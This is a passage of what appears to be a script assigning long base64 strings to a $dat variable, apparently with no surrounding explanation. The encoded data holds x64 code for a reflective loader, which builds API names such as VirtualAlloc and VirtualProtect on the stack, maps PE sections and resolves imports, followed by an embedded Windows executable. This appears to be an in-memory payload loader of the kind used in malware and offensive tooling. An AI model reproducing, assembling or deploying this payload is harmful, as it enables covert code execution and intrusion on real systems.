AAAAdMaEJKsAAABNxoQkrAAAAG/GhCStAAAAZMaEJK4AAAB1xoQkrwAAAGzGhCSwAAAAZcaEJLEAAABIxoQksgAAAGHGhCSzAAAAbsaEJLQAAABkxoQktQAAAGzGhCS2AAAA';
$dat += 'ZcaEJLcAAABBxoQkuAAAAABIjZQkqAAAAEiLTCQo/1QkMEiLTCQgSIlBCEiLRCQgSIN4CAB1Ben2AQAAxkQkaEzGRCRpb8ZEJGphxkQka2TGRCRsTMZEJG1pxkQkbmLGRCRvcsZEJHBhxkQkcXLGRCRyecZEJHNBxkQkdABIjVQkaEiLTCQo/1QkMEiLTCQgSIlBEEiLRCQgSIN4CAB1BemNAQAAxkQkeFbGRCR5acZEJHpyxkQke3TGRCR8dcZEJH1hxkQkfmzGRCR/QcaEJIAAAABsxoQkgQAAAGzGhCSCAAAAb8aEJIMAAABjxoQkhAAAAABIjVQkeEiLTCQo/1QkMEiLTCQgSIlBGEiLRCQgSIN4CAB1BekVAQAAxkQkWFbGRCRZacZEJFpyxkQkW3TGRCRcdcZEJF1hxkQkXmzGRCRfRsZEJGByxkQkYWXGRCRiZcZEJGMASI1UJFhIi0wkKP9UJDBIi0wkIEiJQSBIi0QkIEiDeAgAdQXpsQAAAMaEJJgAAABWxoQkmQAAAGnGhCSaAAAAcsaEJJsAAAB0xoQknAAAAHXGhCSdAAAAYcaEJJ4AAABsxoQknwAAAFDGhCSgAAAAcsaEJKEAAABvxoQkogAAAHTGhCSjAAAAZcaEJKQAAABjxoQkpQAAAHTGhCSmAAAAAEiNlCSYAAAASItMJCj/VCQwSItMJCBIiUEoSItEJCBIg3gIAHUC6xFIi0QkIOsMM8CFwA+FV/3//zPASIHE+AAAAMPMzMzMzMzMzMzMSIlUJBBIiUwkCEiD7ChIg3wkMAB0DEiLRCQwSIN4EAB1BzPA6fwAAADHBCQAAAAASItEJDhIiUQkGEiLRCQYD7cAPU1aAAB1CsdEJAQBAAAA6wjHRCQEAAAAAItEJASJBCSDPCQAdQXpowAAADPAhcB1x0iLRCQYSGNAPEiLTCQ4SAPISIvBSIlEJBBIi0QkEIE4UEUAAHUKx0QkCAEAAADrCMdEJAgAAAAAi0QkCIkEJIM8JAB1AutWM8CFwHXMSItEJBAPt0AEPWSGAAB1OUiLRCQQD7dAGD0LAgAAdQrHRCQMAQAAAOsIx0QkDAAAAACLRCQMiQQkgzwkAHUC6w8zwIXAdcnrB8cEJAAAAACDPCQAdQxIi0QkMMdAIAEAAACLBCRIg8Qow8zMzMzMzEiJVCQQSIlMJAhIgeyYAAAASIO8JKAAAAAAdBpIi4QkoAAAAEiDeBAAdAtIg7wkqAAAAAB1BzPA6fwDAABIi4QkoAAAAEiLQBBIi0AYSIlEJGhIi4QkoAAAAEiLQBBIi0AgSImEJIAAAABIi4QkqAAAAEiJRCRYSItEJFhIY0A8SItMJFhIA8hIi8FIiUQkSEiLRCRID7dABolEJFBIi0QkSEgFCAEAAEiJRCQox0QkQAAAAADHRCQkAAAAAOsKi0QkJP/AiUQkJItEJFA5RCQkfWlIY0QkJEhrwChIi0wkKIN8AQwAdFJIY0QkJEhrwChIY0wkJEhryShIi1QkKItEAgxIi1QkKANEChA5RCRAcyhIY0QkJEhrwChIY0wkJEhryShIi1QkKItEAgxIi1QkKANEChCJRCRA64O';
$dat += 'LRCRAQbkEAAAAQbgAMAAAi9BIi0QkSEiLSDD/VCRoSIlEJGBIg3wkYAB1O4tEJEBBuQQAAABBuAAwAACL0DPJ/1QkaEiJRCRgSIN8JGAAdRZIi4QkoAAAAMdAIAIAAAAzwOmWAgAASItEJEiLQFRBuQQAAABBuAAQAACL0EiLTCRg/1QkaEiJRCQ4SIN8JDgAdRZIi4QkoAAAAMdAIAIAAAAzwOlUAgAASItEJEhEi0BUSIuUJKgAAABIi0wkOOigEAAASIuEJKAAAABIi0wkOEiJCEiLhCSgAAAASItMJEiLSVCJSAhIi4QkoAAAAMdAHAEAAABIi0QkOEiJRCRYSItEJFhIY0A8SItMJFhIA8hIi8FIiUQkSEiLRCRISAUIAQAASIlEJChIx0QkcAAAAABIx0QkeAAAAADHRCQgAAAAAOsKi0QkIP/AiUQkIItEJFA5RCQgD42bAQAASGNEJCBIa8AoSItMJCiDfAEMAA+EfQEAAEhjRCQgSGvAKEiLTCQoi0QBDEiLTCRgSAPISIvBSIlEJHBIY0QkIEhrwChIi0wkKIN8ARAAD4WcAAAAx0QkMAAAAABIY0QkIEhrwChIi0wkKIN8AQgAdhhIY0QkIEhrwChIi0wkKItEAQiJRCQw6wxIi0QkSItAOIlEJDCDfCQwAHZPi0QkMEG5BAAAAEG4ABAAAIvQSItMJHD/VCRoSIlEJDhIg3wkOAB1FkiLhCSgAAAAx0AgAgAAADPA6cYAAABEi0QkMDPSSItMJHDozA4AAOmQAAAASGNEJCBIa8AoSItMJCiLRAEQQbkEAAAAQbgAEAAAi9BIi0wkcP9UJGhIiUQkOEiDfCQ4AHUTSIuEJKAAAADHQCACAAAAM8DrZ0hjRCQgSGvAKEiLTCQoi0QBFEiLjCSoAAAASAPISIvBSIlEJHhIY0QkIEhrwChIi0wkKESLRAEQSItUJHhIi0wkOOiHDgAASGNEJCBIa8AoSItMJCiLVCQ4iVQBCOlN/v//uAEAAABIgcSYAAAAw8zMzMzMzMzMzMzMzMzMzEiJTCQISIPsSEiDfCRQAHQLSItEJFBIgzgAdQczwOn2AQAASItEJFBIiwBIY0A8SItMJFBIAwFIiUQkEEiLRCRQSItMJBBIi0kwSIsASCvBSIlEJCBIg3wkIAB1CrgBAAAA6bIBAAC4CAAAAEhrwAVIi0wkEIO8AYgAAAAAdBi4CAAAAEhrwAVIi0wkEIO8AYwAAAAAdQq4AQAAAOl4AQAAuAgAAABIa8AFSItMJBCLhAGIAAAASItMJFBIAwFIiUQkCEiDfCQIAHUTSItEJFDHQCADAAAAM8DpOwEAAEiLRCQIiwBIi0wkCANBBIXAD4QfAQAASItEJAhIg8AISIlEJBhIi0QkCItABEiD6Agz0rkCAAAASPfxiUQkBMcEJAAAAADrCIsEJP/AiQQki0QkBDkEJA+NvAAAAEhjBCRIi0wkGA+3BEHB+AyD+AN1RUiLRCQIiwBIi0wkUEiLCUgDyEiLwUhjDCRIi1QkGA+3DEqB4f8PAABIY8lIA8FIiUQkKEiLRCQoiwADRCQgSItMJC';
$dat += 'iJAUhjBCRIi0wkGA+3BEHB+AyD+Ap1SEiLRCQIiwBIi0wkUEiLCUgDyEiLwUhjDCRIi1QkGA+3DEqB4f8PAABIY8lIA8FIiUQkMEiLRCQwSIsASANEJCBIi0wkMEiJAekv////SItEJAiLQARIi0wkCEgDyEiLwUiJRCQI6cr+//+4AQAAAEiDxEjDzMxIiUwkCEiB7IgAAABIg7wkkAAAAAB0HUiLhCSQAAAASIN4EAB0DkiLhCSQAAAASIM4AHUHM8DpUAIAAEiLhCSQAAAASItAEEiLQAhIiUQkYEiLhCSQAAAASItAEEiLQBBIiUQkaEiLhCSQAAAASItAEEiLAEiJRCRYSIuEJJAAAABIiwBIY0A8SIuMJJAAAABIAwFIiUQkOLgIAAAASGvAAUiLTCQ4g7wBiAAAAAB0GLgIAAAASGvAAUiLTCQ4g7wBjAAAAAB1CrgBAAAA6bkBAAC4CAAAAEhrwAFIi0wkOIuEAYgAAABIi4wkkAAAAEgDAUiJRCQg6w5Ii0QkIEiDwBRIiUQkIEiLRCQgg3gMAA+EcAEAAEiLRCQgi0AMSIuMJJAAAABIAwFIiUQkUEiLTCRQ/1QkYEiJRCQwSIN8JDAAdQ5Ii0wkUP9UJGhIiUQkMEiDfCQwAHUWSIuEJJAAAADHQCAEAAAAM8DpGwEAAEjHRCQoAAAAAEiLRCQggzgAdBlIi0QkIIsASIuMJJAAAABIAwFIiUQkKOsYSItEJCCLQBBIi4wkkAAAAEgDAUiJRCQoSItEJCCLQBBIi4wkkAAAAEgDAUiJRCRA6xxIi0QkKEiDwAhIiUQkKEiLRCRASIPACEiJRCRASItEJChIgzgAD4SIAAAASMdEJEgAAAAASItEJChIuQAAAAAAAACASIsASCPBSIXAdCFIi0QkKEiLAEgl//8AAEiL0EiLTCQw/1QkWEiJRCRI6zJIi4QkkAAAAEiLAEiLTCQoSAMBSIlEJHBIi0QkcEiDwAJIi9BIi0wkMP9UJFhIiUQkSEiLRCRASItMJEhIiQjpTf///+lz/v//uAEAAABIgcSIAAAAw8zMzMzMzMzMzMzMzMxIiUwkCEiB7KgAAABIg7wksAAAAAB0D0iLhCSwAAAASIN4EAB1BzPA6X8CAADHRCRwAQAAAMdEJHQIAAAAx0QkeAIAAADHRCR8BAAAAMeEJIAAAAAQAAAAx4QkhAAAAIAAAADHhCSIAAAAIAAAAMeEJIwAAABAAAAASIuEJLAAAABIi0AQSItAKEiJhCSYAAAASIuEJLAAAABIi0AQSItAIEiJhCSQAAAASIuEJLAAAABIiwBIiUQkUEjHRCRgAAAAAEiLhCSwAAAASLkAAAAA/////0iLAEgjwUiJRCRgSItEJFBIY0A8SItMJFBIA8hIi8FIiUQkWEiLRCRYD7dABolEJEBIi0QkWEgFCAEAAEiJRCRIx0QkIAAAAADrCotEJCD/wIlEJCCLRCRAOUQkIA+NcAEAAMdEJCgAAAAAx0QkRAAAAADHRCQwAAAAAMdEJDQAAAAAx0QkOAAAAADHRCQ8AAAAAEhjRCQgSGvAKEiLTCRIi0QBCEgLRCRgSIlEJGhIY0QkIEhrwChIi0wkSItEARCJRCQsg3wkLAB1Bel6////SGNEJCBIa8AoSItMJEiLRAEkiUQkJItEJCQlAAAAAoXAdB2LRCQsQbgAQAAAi9BIi0wkaP+UJJAAAADpOv///4tEJCQlAAAAIIXAdAjHRCQwAQAAAItEJCQlAAAAQIXAdAjHRCQ0AQAAAItEJCQlA';
$dat += 'AAAgIXAdAjHRCQ4AQAAAItEJCQlAAAABIXAdAjHRCQ8AQAAAEhjRCQwSGvAEEiNRARwSGNMJDRIjQTISGNMJDiLBIiJRCQog3wkPAB0DItEJCgPuugJiUQkKItEJCxMjUwkRESLRCQoi9BIi0wkaP+UJJgAAACFwHUTSIuEJLAAAADHQCAFAAAAM8DrCul4/v//uAEAAABIgcSoAAAAw8zMzMzMzMzMzMzMzEiJTCQISIPsSEiDfCRQAHQLSItEJFBIgzgAdQczwOmgAAAASItEJFBIiwBIY0A8SItMJFBIAwFIiUQkMLgIAAAASGvACUiLTCQwSIuEAYgAAABIiUQkKIN8JCgAdQe4AQAAAOtei0QkKEiLTCRQSAMBSIlEJDhIi0QkOEiLQBhIiUQkIEiDfCQgAHQySItEJCBIgzgAdCdFM8C6AQAAAEiLRCRQSIsISItEJCD/EEiLRCQgSIPACEiJRCQg6864AQAAAEiDxEjDzMzMzMzMzMyJVCQQSIlMJAhIg+w4SIN8JEAAdAtIi0QkQEiDOAB1BDPA63FIi0QkQEiLAEhjQDxIi0wkQEgDAUiJRCQoSMdEJCAAAAAASItEJCiDeCgAdQQzwOtASItEJCiLQChIi0wkQEgDAUiJRCQgSIN8JCAAdRBIi0QkQMdAIAYAAAAzwOsTRTPAi1QkSEiLRCRASIsI/1QkIEiDxDjDzMzMzMzMSIlUJBBIiUwkCEiD7HhIg7wkgAAAAAB0DkiLhCSAAAAASIM4AHUHM8DpNwEAAEiLhCSAAAAASIsASGNAPEiLjCSAAAAASAMBSIlEJEC4CAAAAEhrwABIi0wkQIuEAYgAAABIi4wkgAAAAEgDAUiJRCQoSItEJCiLQCBIi4wkgAAAAEgDAUiJRCRISItEJCiLQCRIi4wkgAAAAEgDAUiJRCRYSItEJCiLQBxIi4wkgAAAAEgDAUiJRCRgSItEJCiLQBSJRCQwx0QkIAAAAADrCotEJCD/wIlEJCCLRCQwOUQkIH1/SGNEJCBIi0wkSIsEgYlEJDSLRCQ0SIuMJIAAAABIAwFIiUQkUEiLVCRQSIuMJIgAAADoNQIAAIXAdT9IY0QkIEiLTCRYD7cEQWaJRCQkD7dEJCRIi0wkYIsEgYlEJDiLRCQ4SIuMJIAAAABIAwFIiUQkaEiLRCRo6wfpbf///zPASIPEeMPMzMzMzMxIiUwkCEiD7DhIg3wkQAB0IkiLRCRASIN4EAB0FkiLRCRAg3gcAHQLSItEJEBIgzgAdQLrVkiLRCRASItAEEiLQCBIiUQkIEG4AIAAADPSSItEJEBIiwj/VCQgSItEJEBIxwAAAAAASItEJEDHQAwAAAAASItEJEDHQAgAAAAASItEJEDHQBwAAAAASIPEOMNEiUQkGEiJVCQQiUwkCEiB7CgEAADHBCQAAAAAx0QkBAAAAADrCotEJAT/wIlEJASBfCQEAAEAAH1Wi0QkBMHgGIkEJMdEJAgAAAAA6wqLRCQI/8CJRCQIg3wkCAh9I4sEJMHoH4XAdA+LBCTR4DW3DcEEiQQk6wiLBCTR4IkEJOvMSGNEJASLDCSJTIQg65aLhCQwBAAAiQQki4QkQAQAAIlEJAxIi4QkOAQAAEiJRCQYi0QkDIlEJBCLRCQM/8iJRCQMg3wkEAB0LosEJMHgCI';
$dat += 'sMJMHpGEiLVCQYD7YSM8qLyTNEjCCJBCRIi0QkGEj/wEiJRCQY67mLBCRIgcQoBAAAw8zMzMzMzMzMzMzMzEiJTCQISIPsGMcEJAAAAADrFUiLRCQgSP/ASIlEJCCLBCT/wIkEJEiLRCQgD74AhcB0AuvdiwQkSIPEGMPMzMxIiVQkEEiJTCQISIPsGMYEJADGRCQBAEiLRCQgD7YAiAQkSItEJCBI/8BIiUQkIEiLRCQoD7YAiEQkAUiLRCQoSP/ASIlEJCgPtgQkhcB1DQ+2BCQPtkwkASvB6xgPtgQkD7ZMJAE7wXStD7YEJA+2TCQBK8FIg8QYw8zMzMzMzEiJVCQQSIlMJAhIg+wYM8BmiQQkM8BmiUQkBEiLRCQgD7cAZokEJEiLRCQgSIPAAkiJRCQgD7cEJIP4QXwUD7cEJIP4Wn8LD7cEJIPAIGaJBCRIi0QkKA+3AGaJRCQESItEJChIg8ACSIlEJCgPt0QkBIP4QX4XD7dEJASD+Fp9DQ+3RCQEg8AgZolEJAQPtwQkhcB1DQ+3BCQPt0wkBCvB6xwPtwQkD7dMJAQ7wQ+EZ////w+3BCQPt0wkBCvBSIPEGMPMzMzMzMzMzMzMzMxEiUQkGEiJVCQQSIlMJAhIg+wYi0QkMIkEJItEJDD/yIlEJDCDPCQAdDxIi0QkIEiLTCQoD7cJZokISItEJCBIg8ACSIlEJCBIi0QkKEiDwAJIiUQkKEiLRCQoD7cAhcB1AusC661Ii0QkIEiDxBjDRIlEJBiJVCQQSIlMJAhIg+wYxwQkAAAAAOsIiwQk/8CJBCSLRCQwOQQkcxGLBCRIi0wkIIpUJCiIFAHr3kiLRCQgSIPEGMPMzMzMzMzMzMxMi8lIO9FzL0GLwEj/yUj/ykgDyEgD0EWFwHREDx9AAA+2AkiNUv+IAUiNSf9Bg8D/de1Ji8HDdidFhcB0Ikkr0Q8fQABmZmYPH4QAAAAAAA+2BAqIAUiNSQFBg8D/dfBJi8HDzMzMzMzMzMzMzMzMTVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABqW2X5LjoLqi46C6ouOguqOlEIqys6C6o6UQ6rqzoLqnxPDqszOguqfE8PqyA6C6p8TwirJzoLqjpRD6siOguqOlEKqyM6C6ouOgqqTDoLqpBPAqssOguqkE/0qi86C6qQTwmrLzoLqlJpY2guOguqAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAGSGBwDRKShjAAAAAAAAAADwACIgCwIOHQC4AAAAygAAAAAAAHAaAAAAEAAAAAAAgAEAAAAAEAAAAAIAAAYAAAAAAAAABgAAAAAAAAAA0AEAAAQAAAAAAAADAGAAAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAoFkBAIwAAAAAsAEA4AEAAACQAQBoDQAAAAAAAAAAAAAAwAEARAYAAEhJAQBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwEkBADgBAAAAAAAAAAAAAADQAACwAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABAtwAAABAAAAC4AAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAA7JIA';
$dat += 'AADQAAAAlAAAALwAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAALAbAAAAcAEAAAoAAABQAQAAAAAAAAAAAAAAAABAAADALnBkYXRhAABoDQAAAJABAAAOAAAAWgEAAAAAAAAAAAAAAAAAQAAAQF9SREFUQQAA/AAAAACgAQAAAgAAAGgBAAAAAAAAAAAAAAAAAEAAAEAucnNyYwAAAOABAAAAsAEAAAIAAABqAQAAAAAAAAAAAAAAAABAAABALnJlbG9jAABEBgAAAMABAAAIAAAAbAEAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiJXCQYVVZXQVZBV0iB7GAIAABIiwXuXwEASDPESImEJFAIAABIx8f/////TIv6SIvHSIvpM/ZmDx+EAAAAAABmOXRBAkiNQAF19Y0ERQIAAACLyESL8OhgJwAASIvYSIXAdQiNQ2/poQEAAE2LxkiL1UiLy+jGHAAAulwAAABIi8voeRQAAEiFwA+E9wAAAEUzyUiJdCQwx0QkKIAAAAC6AAAAgEiLzcdEJCADAAAARY1BA/8Vbr8AAEyL8Eg7x3UN/xVovwAAi/DpsAAAADPSSI1MJFBBuAAIAADo/xcAAEiNRCRAiXQkQEG5AAgAAEiJRCQgTI1EJFC6AQAAAEmLzv8VgMEAAEiLTCRYSIXJdGQPt0QkUGaFwHRaSNHoZok0QUiLy+h9JgAASItMJFhIi8dmOXRBAkiNQAF19Y0ERQIAAACLyIvo6G4mAABIi9hIhcB0G0iLVCRYRIvFSIvI6NobAABIi8v/FcnAAADrBb5vAAAASYvO/xXJvgAAhfYPhXcAAAC6EAAAAI1KMP8Vo74AAEmJB0iFwHUFjXBv61xmg3x7AgBIjX8BdfRIjTx9AgAAALlAAAAASIvX/xV0vgAASYsPSIvQSIXA';
$dat += 'dQuNcG//FWi+AADrJEiJUQhMi8dJiwdIi0gIiBFIi9NJiweJOEmLD0iLSQjoQhsAAEiF23QISIvL6J0lAACLxkiLjCRQCAAASDPM6BMFAABIi5wkoAgAAEiBxGAIAABBX0FeX15dw8zMzMzMzMzMzMzMzEiJXCQQSIl0JBhXSIHskAQAAEiLBa9dAQBIM8RIiYQkgAQAAEiL2UyNBXY2AQBIi9FJi/FIjYwkcAIAAP8Vpr8AAEiNVCQgSI2MJHACAAD/Fbu9AABIi/hIg/j/D4SGAAAA9kQkIBB0ZEyNRCRMSIvTSI2MJHACAAD/FWm/AABIx8D/////SP/AZoM8QwB19kiNlCRwAgAASMfB/////5BI/8FmgzxKAHX2SDvIdh5Mi85MjQXXAAAASI0V6DUBAEiNjCRwAgAA6DP///9IjVQkIEiLz/8VPb0AAIXAdYNIi8//FUC9AABMjQW5NQEASIvTSI2MJHACAAD/Fei+AABIjVQkIEiNjCRwAgAA/xX9vAAASIv4SIP4/3RMDx9AAPZEJCAQdSZMjUQkTEiL00iNjCRwAgAA/xWrvgAASIvWSI2MJHACAADoQwAAAEiNVCQgSIvP/xW9vAAAhcB1wUiLz/8VwLwAAEiLjCSABAAASDPM6HgDAABMjZwkkAQAAEmLWxhJi3MgSYvjX8PMzMxIiVwkGEiJfCQgVUiNrCSw/f//SIHsUAMAAEiLBRdcAQBIM8RIiYVAAgAASIv6M9tIjVQkIEiJXCQg6PH7//+FwA+FCgEAAA9XwEiNTCRQDxFEJCyJXCQ4M9JIi1wkIEG4yAAAAA8RRCQ8x0QkQAwAAAAPEAUnvwAASIlcJEgPEUQkKOiIFAAADxBHCEiNRCQox0WwAQAAAEiNTSDGRbgPDylFoMdF0AEQAABIiUXIx0XAAQAAAP8VFL4AAEG4BAEAAEiNVTBIjU0g/xX4vQAADxAFqb4AAEiLD0iNRTBFM8lIiUQkYEUzwA8pRZBIjVQkUP8VkL0AAEiNTSD/Fc69AABBuAQBAABIjVUwSI1NIP8Vsr0AAA8QBXO+AABIiw9IjUUwRTPJSIlEJGBFM8APKUWQSI1UJFD/FUq9AABIi0sI/xUouwAASIvL/xUfuwAASIuNQAIAAEgzzOgAAgAATI2cJFADAABJi1sgSYt7KEmL413DzMzMzMzMzMzMzMxIiVwkCEiJfCQQVUiNrCSw+///SIHsUAUAAEiLBZdaAQBIM8RIiYVABAAAD1fASMdEJDD/////M8APKUXwSIlFEEyNTdBIjUQkMA8pRdBFM8BIiUQkILr/////DylF4DPJDylFAEjHRfABAAAA/xWFvAAAhcAPhekAAABIi1wkMEiD+/8PhNoAAAAPV8BIjU24M8APEUQkRIlFhA8RRCRUDxFEJGQPEUQkdP8VoLwAAEiNTaj/FZa8AABBuAQBAABIjVUgSI1NuP8VerwAAA8QRahIjUUgRTPASI';
$dat += 'lEJFBIjVQkQLj//wAADylEJEBIi8tmiUWA/xUGvAAAhcB1Xw8oRCRASI097jIBAEiJXZBIjR2bMgEADxFFqA8RRZgPHwBIiwtIjZUwAgAAQbgEAQAA/xXauQAATI1NkEiNjTACAADoqvv//0iDwwhIO9980ZC50AcAAP8VxbkAAOvzuAIAAADrBbgBAAAASIuNQAQAAEgzzOhoAAAATI2cJFAFAABJi1sQSYt7GEmL413DzMzMSIPsOIP6AXUfM8BMjQVe/v//SIlEJChFM8kz0olEJCAzyf8VcLkAALgBAAAASIPEOMPMzMzMzMzMzMzMzMzMzMzMzMzMzGZmDx+EAAAAAABIOw3RWAEAdRBIwcEQZvfB//91AcNIwckQ6ZYDAADMzEiD7CiF0nQ5g+oBdCiD6gF0FoP6AXQKuAEAAABIg8Qow+h6BwAA6wXoSwcAAA+2wEiDxCjDSYvQSIPEKOkPAAAATYXAD5XBSIPEKOkYAQAASIlcJAhIiXQkEEiJfCQgQVZIg+wgSIvyTIvxM8no6gcAAITAD4TIAAAA6HEGAACK2IhEJEBAtwGDPaFnAQAAD4XFAAAAxwWRZwEAAQAAAOi8BgAAhMB0T+jLCgAA6PYFAADoHQYAAEiNFfq6AABIjQ3TugAA6A4gAACFwHUp6FkGAACEwHQgSI0VsroAAEiNDaO6AADoih8AAMcFPGcBAAIAAABAMv+Ky+jOCAAAQIT/dT/oFAkAAEiL2EiDOAB0JEiLyOgbCAAAhMB0GEyLxroCAAAASYvOSIsDTIsNProAAEH/0f8FVWEBALgBAAAA6wIzwEiLXCQwSIt0JDhIi3wkSEiDxCBBXsO5BwAAAOjICAAAkMzMzEiJXCQIV0iD7DBAivmLBRVhAQCFwH8NM8BIi1wkQEiDxDBfw//IiQX8YAEA6FcFAACK2IhEJCCDPYpmAQACdTfoawYAAOgGBQAA6P0JAACDJXJmAQAAisvoBwgAADPSQIrP6CEIAAD22Bvbg+MB6G0GAACLw+uiuQcAAADoQwgAAJCQzEiLxEiJWCBMiUAYiVAQSIlICFZXQVZIg+xASYvwi/pMi/GF0nUPORV4YAEAfwczwOnuAAAAjUL/g/gBd0VIiwUAugAASIXAdQrHRCQwAQAAAOsU/xUruQAAi9iJRCQwhcAPhLIAAABMi8aL10mLzuig/f//i9iJRCQwhcAPhJcAAABMi8aL10mLzugV/f//i9iJRCQwg/8BdTaFwHUyTIvGM9JJi87o+fz//0iF9g+VwejG/v//SIsFh7kAAEiFwHQOTIvGM9JJi87/FbS4AACF/3QFg/8DdUBMi8aL10mLzugu/f//i9iJRCQwhcB0KUiLBU25AABIhcB1CY1YAYlcJDDrFEyLxovXSYvO/xVxuAAAi9iJRCQw6wYz24lcJDCLw0iLXCR4SIPEQEFeX17DzMzMSIlcJAhIiXQkEFdIg+wgSYv4i9pIi/GD+gF1Bei7AgAATIvHi9NIi85Ii1wkMEiLdCQ4SIPEIF/pj/7//8zMzEBTSIPsIEiL2TPJ/xUHtgAASIvL/xX2tQAA/xUAtgAASIvIugkEAMBIg8QgW0j/JfS1AABIiUwkCEiD7Di5FwAAAP8V6LUAAIXAdAe5AgAAAM0pSI0Nhl8BAOjJAQAASItEJDhIiQVt';
$dat += 'YAEASI1EJDhIg8AISIkF/V8BAEiLBVZgAQBIiQXHXgEASItEJEBIiQXLXwEAxwWhXgEACQQAwMcFm14BAAEAAADHBaVeAQABAAAAuAgAAABIa8AASI0NnV4BAEjHBAECAAAAuAgAAABIa8AASIsNfVQBAEiJTAQguAgAAABIa8ABSIsNYFQBAEiJTAQgSI0N3LcAAOj//v//SIPEOMPMzEiD7Ci5CAAAAOgGAAAASIPEKMPMiUwkCEiD7Ci5FwAAAP8VAbUAAIXAdAiLRCQwi8jNKUiNDZ5eAQDocQAAAEiLRCQoSIkFhV8BAEiNRCQoSIPACEiJBRVfAQBIiwVuXwEASIkF310BAMcFxV0BAAkEAMDHBb9dAQABAAAAxwXJXQEAAQAAALgIAAAASGvAAEiNDcFdAQCLVCQwSIkUAUiNDSq3AADoTf7//0iDxCjDSIlcJCBXSIPsQEiL2f8V/bUAAEiLu/gAAABIjVQkUEiLz0UzwP8V3bUAAEiFwHQySINkJDgASI1MJFhIi1QkUEyLyEiJTCQwTIvHSI1MJGBIiUwkKDPJSIlcJCD/FZ61AABIi1wkaEiDxEBfw8zMzEBTVldIg+xASIvZ/xWPtQAASIuz+AAAADP/RTPASI1UJGBIi87/FW21AABIhcB0OUiDZCQ4AEiNTCRoSItUJGBMi8hIiUwkMEyLxkiNTCRwSIlMJCgzyUiJXCQg/xUutQAA/8eD/wJ8sUiDxEBfXlvDzMzMSIlcJCBVSIvsSIPsIEiLBahSAQBIuzKi3y2ZKwAASDvDdXRIg2UYAEiNTRj/FYKzAABIi0UYSIlFEP8VbLMAAIvASDFFEP8VWLMAAIvASI1NIEgxRRD/FUCzAACLRSBIjU0QSMHgIEgzRSBIM0UQSDPBSLn///////8AAEgjwUi5M6LfLZkrAABIO8NID0TBSIkFJVIBAEiLXCRISPfQSIkFDlIBAEiDxCBdw0iNDWFhAQBI/yUCswAAzMxIjQ1RYQEA6XQJAABIjQVVYQEAw0iNBVVhAQDDSIPsKOjn////SIMIJOjm////SIMIAkiDxCjDzEiD7CjopwYAAIXAdCFlSIsEJTAAAABIi0gI6wVIO8h0FDPA8EgPsQ0cYQEAde4ywEiDxCjDsAHr98zMzEiD7CjoawYAAIXAdAfotgQAAOsZ6FMGAACLyOgcIAAAhcB0BDLA6wfovyMAALABSIPEKMNIg+woM8noPQEAAITAD5XASIPEKMPMzMxIg+wo6AsJAACEwHUEMsDrEuiOJgAAhMB1B+gJCQAA6+ywAUiDxCjDSIPsKOiHJgAA6PIIAACwAUiDxCjDzMzMSIlcJAhIiWwkEEiJdCQYV0iD7CBJi/lJi/CL2kiL6ejEBQAAhcB1FoP7AXURTIvGM9JIi81Ii8f/FXqzAABIi1QkWItMJFBIi1wkMEiLbCQ4SIt0JEBIg8QgX+kAGQAASIPsKOh/BQAAhcB0EEiNDRxgAQBIg8Qo6T8kAADoBh0AAIXAdQXo4RwAAEiDxCjDSIPsKDPJ6CUmAABIg8Qo6XQIAABAU0iD7CAPtgXXXwEAhcm7AQAAAA9Ew4gFx18BAOh2AwAA6OEHAACEwHUEMsDrFOh4JQAAhMB1CTPJ6BkIAADr6orDSIPEIFvDzMzMQFNIg+wggD2MXwEAAIvZdWeD+QF3aujdBAAAhcB0KIXbdSRIjQ12XwEA6NkjAACFwHUQSI0Nfl8BAOjJIwAAhcB0LjLA6zNmD28FWbMAAEiDyP/zD38FRV8BAEiJBU5fAQDzD38FTl8BAEiJBVdfAQDGBSFfAQABsAFIg8QgW8O5BQAAAOj6AAAAzMxIg+wYTIvBuE1aAABmOQVp3///dXhIYw2c3///SI0VWd///0';
$dat += 'gDyoE5UEUAAHVfuAsCAABmOUEYdVRMK8IPt0EUSI1RGEgD0A+3QQZIjQyATI0MykiJFCRJO9F0GItKDEw7wXIKi0IIA8FMO8ByCEiDwijr3zPSSIXSdQQywOsUg3okAH0EMsDrCrAB6wYywOsCMsBIg8QYw0BTSIPsIIrZ6McDAAAz0oXAdAuE23UHSIcVTl4BAEiDxCBbw0BTSIPsIIA9Q14BAACK2XQEhNJ1DOg2JAAAisvoowYAALABSIPEIFvDzMzMSI0FNWoBAMODJU1eAQAAw0iJXCQIVUiNrCRA+///SIHswAUAAIvZuRcAAAD/FUKvAACFwHQEi8vNKbkDAAAA6MT///8z0kiNTfBBuNAEAADoHwcAAEiNTfD/Fa2wAABIi53oAAAASI2V2AQAAEiLy0UzwP8Vi7AAAEiFwHQ8SINkJDgASI2N4AQAAEiLldgEAABMi8hIiUwkMEyLw0iNjegEAABIiUwkKEiNTfBIiUwkIDPJ/xVCsAAASIuFyAQAAEiNTCRQSImF6AAAADPSSI2FyAQAAEG4mAAAAEiDwAhIiYWIAAAA6IgGAABIi4XIBAAASIlEJGDHRCRQFQAAQMdEJFQBAAAA/xWWrgAAg/gBSI1EJFBIiUQkQEiNRfAPlMNIiUQkSDPJ/xUtrgAASI1MJED/FRquAACFwHUMhNt1CI1IA+i+/v//SIucJNAFAABIgcTABQAAXcPMSIlcJAhXSIPsIEi